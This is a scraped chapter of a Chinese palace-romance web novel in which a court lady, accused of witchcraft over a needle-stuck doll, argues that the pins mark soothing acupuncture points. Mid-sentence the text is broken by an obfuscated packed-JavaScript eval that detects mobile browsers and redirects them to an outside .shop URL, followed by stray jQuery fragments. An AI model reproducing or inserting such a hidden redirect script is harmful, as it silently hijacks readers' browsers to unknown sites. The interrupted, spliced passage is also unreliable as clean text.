文趣网 > 其他小说 > 朕的御前女官总想离职 > 26. 第 26 章
    姜婉宁虽然不解,但别人既然说在等着,也不好意思拒绝,她瞄了贺骁一眼,悄么声地走出殿外。

    远远地廊柱下,霍朝在姜婉宁迈出殿门的时候就发现了,朝她走了两步,又驻足原地等候。

    刚才在殿内姜婉宁没细看,此时借着日光打量一番。只见此人身形修长,面廓是鹅蛋型,肤色冷白,眉骨微微凸起。鼻梁秀挺却不凌厉,山根处略薄,鼻尖圆润小巧,少了几分男子的硬朗。

    之前姜府门口的一面之缘,还觉得此人正直不阿,此时却给人一种亦正亦邪之感,像一头圈在牢笼里的狼崽。

    姜婉宁在一米外停下脚步,颔首示意。

    霍朝躬身一礼,道:“姜大人,多谢您在陛下面前提携下官。”

    姜婉宁侧身只受了半礼,豁然一笑,摆手道:“举手之劳,不足挂齿。希望霍大人前程似锦,为百姓多谋福祉,便也不算辜负我的举荐了。”

    霍朝再次郑重地行了一礼,道:“下官记下了。”

    一时沉默,二人都没再说话。

    霍朝握了握拳,仿佛终于鼓起勇气,又道:“您现在宫中当差,可是和其他女官一样?”

    姜婉宁不懂他为何这样问,特意解释一番:“我现在是御前女官,主要职责是替陛下梳理政务轻重、排布日程,好让陛下少劳些神。霍大人可以理解成……陛下的专职幕僚吧。”

    “您入了中枢三省?”霍朝惊讶道。

    “倒也不是……”姜婉宁笑了笑没有解释:“我的法子和他们不太一样,我只在紫宸殿当差。”

    霍朝点点头,沉吟片刻,终是问出了口:“那也是二十五岁可以出宫吗?”

    问出这句话时,他的手心已经捏出了一把冷汗。他深知此问逾矩,甚至可以说是胆大包天,但他依然目光灼灼地盯着她。

    姜婉宁被这眼神盯得不是很自在,但也如实答了一句:“应该可以吧?”

    她话音刚落,就见到霍朝的眼神亮了亮,随即他拱手告辞,毫不迟疑地大步迈向殿外,跟着宝顺离开了。

    姜婉宁一头雾水地回到正殿,就见贺骁的脸色阴沉得可怕。

    姜婉宁内心转了八百个弯:为何有一种说别人坏话被人当场抓包的既视感?什么情况?我又没说他坏话!她怎么也不明白自己哪里惹到老板了。

    讪笑道:“陛下,刚霍朝就是感谢一下臣向您举荐了他。”

    贺骁手里捏着一本奏折,边缘的纸页快要被碾碎,深邃的凤眸睨着她,姜婉宁被看得头皮发麻,干巴巴地咧嘴一笑。

    “朕问你了吗?”贺骁瞥了她一眼,语气平淡地吐出五个字。

    您那眼神就像是在质问我啊……姜婉宁扁了扁嘴,不出声。

    贺骁又转过头直勾勾盯着她,咬着后槽牙道:“账盘明白了吗?心都飞到殿外去了。”

    “是,臣就继续盘账。”姜婉宁行了一礼回到自己的位置。

    正当姜婉宁与贺骁各自伏案忙碌时,听到殿外传来一阵嘈杂的脚步声,听上去人数颇多。

    紧接着宝顺面色凝重地进来,向贺骁请示:“陛下,沈太师带着几位大臣,还有尚宫局、内府局、宫闱局人求见。”

    贺骁朱笔悬停,眉峰微蹙:“这些人凑一起求见?宣。”

    只见原本空旷的大殿乌泱乌泱进来许多人,走在最前面那副仙风道骨模样的老头,赫然是沈鹤亭沈太师。

    众人一起行礼,而后沈鹤亭道:“陛下,老臣被诸位大人请来做个见证,至于发生了什么,事出尚宫局,就由张尚宫来禀报吧。”

    只见青鸢上前一步,先是为难地看了一眼姜婉宁,随后朝着贺骁禀报:“启禀陛下,姜女官之前住的女官廨舍,下面的人打扫之时,发现了……”

    说到这儿,她顿了顿,好像下定什么决心一般,道:“发现了巫蛊娃娃。”

    这四个字一出,姜婉宁和贺骁对视一眼,都从对方的眼中看到了不敢置信。

    只见一个小婢女从后面走上前来,手里捧着一只丑陋的布娃娃,那娃娃身上明晃晃地扎着三根钢针,一张黄纸上赫然写着贺骁的生辰八字,黄纸下的身体上还歪歪扭扭地画着一个“9”字。

    殿内站着十来个人,却没有人敢发出一丁点声音。

    青鸢担忧地看着姜婉宁,默默为她捏了一把冷汗。宝顺面色凝重地看着贺骁,随时等他吩咐。

    贺骁自然是不相信这个娃娃是姜婉宁的,他冷声道:“你说是从姜女官的屋里发现的?有何证据?”

    那婢女跪在地上,浑身发抖,颤颤巍巍地回道:“不、不是婢子一人……,当时内府局的典事大人也在,那东西从床铺上掉下来了,恰好宫闱局的大人巡逻路过,都、都见着了……”

    这婢女看似很害怕,但她说的话条理清晰,属实的话,至少坐实了这个娃娃绝对是从姜婉宁的地方搜出来的。

    话音刚落,就有几个大人你一言我一语的进谏:

    “陛下,巫蛊之事绝不可纵容!”

    “陛下这姜氏当时从刑场上就十分邪门。臣怀疑她的祥瑞之说也是有心人引导罢了。说是妖女也不为过!”

    “陛下,自古以来,但行巫蛊之术绝不能轻饶。”

    “陛下,臣恳请立即处死姜婉宁!”

    贺骁面沉如水,端坐在宝座之上,身体靠着椅背,手肘架在扶手上,缓缓摩挲着指尖的扳指,睥睨着众人。

    下面说话的人声音越来越小,终于察觉到殿内的温度骤降。

    贺骁见众人不再出声,声音低沉道:“姜卿是朕的御前女官。人都已经从女官廨舍搬出来了,才说搜出这么个破娃娃,可笑。”

    姜婉宁没想到贺骁竟然这么赤裸裸的袒护她,心底蓦地一软。

    沈鹤亭听到贺骁的话,心生不满,面上凝重:“陛下三思。此事虽有可疑,但巫蛊之事再慎重也不为过,不如让大理寺彻查吧。”

    听到自己的老师这样提议,贺骁一时也不好反驳。

    正为难之际,见姜婉宁走上前一步,目光如炬地看向众人:“诸位大人,你们说这是诅咒的巫蛊。那请问这三根针扎在了娃娃的哪里?”

    拿着娃娃的婢女,和她身边的官员都凑过去反复看,一头雾水。

    有人应道:“自然是扎在身上。”

    “荒谬!”姜婉宁猛地提高音量,一字一顿道:“但凡巫蛊害人,钢针必扎心口死穴。可你们看这娃娃一针在百会,一针在神泉,一针在安经,这全都是安神止痛,缓解疲劳的穴位。”

    姜婉宁转身面向贺骁,神色虔诚而透露着心疼,“陛下日理万机,常常头痛难眠,臣女不懂医术。但在西域古籍中寻得祝由祈福针灸之法。大人们竟然将它认成了诛九

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701181|208182||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    族的巫蛊之术。岂有此理!”

    姜婉宁的话掷地有声地砸下来,刚才还义愤填膺的几位官员瞬间成了哑巴。他们面面相觑,脸上一阵青一阵白的。

    虽然都是饱读诗书的文臣,但谁也没真研究过人体穴位,一时竟被一个女官身上的气场震慑得无言以对。

    姜婉宁的目光扫视过众人而后定定落在贺骁身上。贺骁刚才的纠结与烦躁瞬间消散了大半,他轻哼一声。

    又有大人出列道:“你说是安神解乏就是?臣恳请御医来验。”

    贺骁深深地看了姜婉宁一眼,姜婉宁在那眼神中读到了一丝担忧,她缓缓点头。

    贺骁便道了一声允。

    在众人等待御医的间隙,又有大人不服地发问:“这娃娃身上七扭八歪的符文你又有何解释?”

    姜婉宁一声冷笑,语气中透着不屑:“这符文更是无稽之谈,此乃西域数字中的极数读音与我朝的九字相同。臣将它画在娃娃心口,寓意陛下九五之尊,福寿天长地久。臣一片赤诚祈福之心,天地可鉴。”

    不知为何贺骁听着姜婉宁的诡辩,感觉十分有趣,差点不合时宜地笑出声来。

    不一会儿,宝顺领着温书瑾迈进正殿。没想到今儿又是温书瑾当值,不知为何,姜婉宁就小小的松了口气,感觉这个御医算半个自己人吧。

    温书瑾在众人瞩目之下向贺骁行了一礼。

    贺骁颔首,对温书瑾道:“温御医,你给大伙瞧瞧,扎在那娃娃上的钢针分别对应的是何穴位,有何作用?”

    温书瑾在来的路上,已经听传话的小内侍说了一些情况,此刻也有些担忧地看了姜婉宁一眼,低声应是,而后转向那个娃娃。

    他仔细辨别了一下三根钢针的位置,而后朝贺骁拱手道:“恕臣无能,臣只认识其中这个位于头部的百会穴,另外两个穴位,臣并不识得。”

    又有大臣问道:“温御医,这百会穴可有安神、缓解疲劳的作用?”

    温书瑾答:“按摩此穴,确实可以达到安神、止眩晕、救昏厥的作用。”

    其他人见温御医都这样说,虽然另两个穴位有待确认,但有一部分人对姜婉宁说的祝由祈福之术已经相信了一半。

    姜婉宁见目的达到了,笑道:“温御医不认识另外两个穴位也很正常,这毕竟是上古祝由祈福针灸之法。”

    温书瑾一愣,顺着姜婉宁的话说:“臣只在古医书上听闻过此法,没想到今日竟有幸得见。”

    姜婉宁听到这话,差点笑喷出来,心里暗道:没想到这温御医还挺上道。

    她又向贺骁道:“臣知道空口无凭,难以服众。”

    姜婉宁看向众人,扬起下巴,清澈的声音响彻整个大殿,“但臣这阵子的祈福,上苍已有感应。若臣这娃娃真是肮脏的巫蛊,上天必降灾祸惩罚于臣;但臣是真心为陛下祈福,今日黄昏,紫宸殿西方上空,必现前所未见的双虹贯日、赤霞满天的祥瑞之兆,此乃上天对臣虔诚之心的印证。”

    她顿了顿,最后又加一码:“若黄昏无此祥兆,臣甘愿以巫蛊之罪赴死。”

    话音一落,满殿官员倒吸一口凉气,简直像在看一个疯子。

    而端坐在龙椅上的贺骁,摩挲扳指的动作猛地顿住,那双深不可测的凤眸牢牢锁住大殿中央,那道单薄却挺拔的红色身影,眸底翻涌起惊涛骇浪。